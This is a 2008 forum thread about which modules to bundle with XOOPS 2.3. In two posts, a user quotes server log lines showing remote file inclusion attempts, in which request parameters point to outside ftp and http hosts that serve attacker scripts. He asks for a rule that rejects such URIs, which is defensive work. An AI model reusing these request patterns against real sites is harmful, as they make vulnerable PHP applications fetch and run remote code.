| Re: Module Packs for XOOPS 2.3 |
| by Sniff on 2008/7/30 11:29:42 As a newbie to Xoops, I would like to see the following either located within the core package or as a seperate module pack. A module (very are quite a few) to allow the creation of individual pages. Mastop Publish is good. eXtGallery Lifetype Contact Us |
| Re: Module Packs for XOOPS 2.3 |
| by peterr on 2008/7/11 10:17:49 and sometimes they even try "ftp://" , like this one .. le="color: #000000"><?php 58.227.193.211 - - [11/Jul/2008:10:19:00 +1000] "GET //modules/horoscope/footer.php?xoopsConfig[root_path]=ftp://81.177.8.194/Upload/trem/oldbisok?? HTTP/1.1" "libwww-perl/5.79"
|
| Re: Module Packs for XOOPS 2.3 |
| by peterr on 2008/7/7 12:30:24 Quote: Protector hopefully will not be required for XOOPS 2.3.1, we are working on a solution for common problems that this module deals with. That's great, I have used Protector for a while now, good to hear that the XOOPS core will give a website, at least the same 'protection'. I see a fair bit of this in web logs .. le="color: #000000"><?php 221.143.43.214 - - [05/Jul/2008:16:33:27 +1000] "GET /user.php//modify.php?dir_module=http://starhc.com/FormTools1_5_0//global/templates/r.txt?? HTTP/1.1" 200 5977 "-" "libwww-perl/5.79" and rather than a 200 being returned, I'd like a simple (one line ??) mod to search for 'http://' in the request URI. With Protector installed, these are returning a 200, a 403 would be more appropriate. I realise the way each website server is configured can play a role here, but even if there was at least an option, to return a 403 if 'http://' was found in the URI. That way, at least some of the malicious activity could be recorded, at present it goes unnoticed (unless someone wants to wade through web server logs). |
| Re: Module Packs for XOOPS 2.3 |
| by kris_fr on 2008/5/24 12:56:28 and for newbies
|
| Re: Module Packs for XOOPS 2.3 |
| by jimmyx on 2008/5/24 11:54:15 great list of module recommendation there by solo, voltan & noob em..why was the modules packages discontinued last time ? this will help a lot of new users ![]() suggestion : what if a simple content manager is built in to the core like other cms ? so user can manage content without using module...if there want extra feature they can use module....2 cents |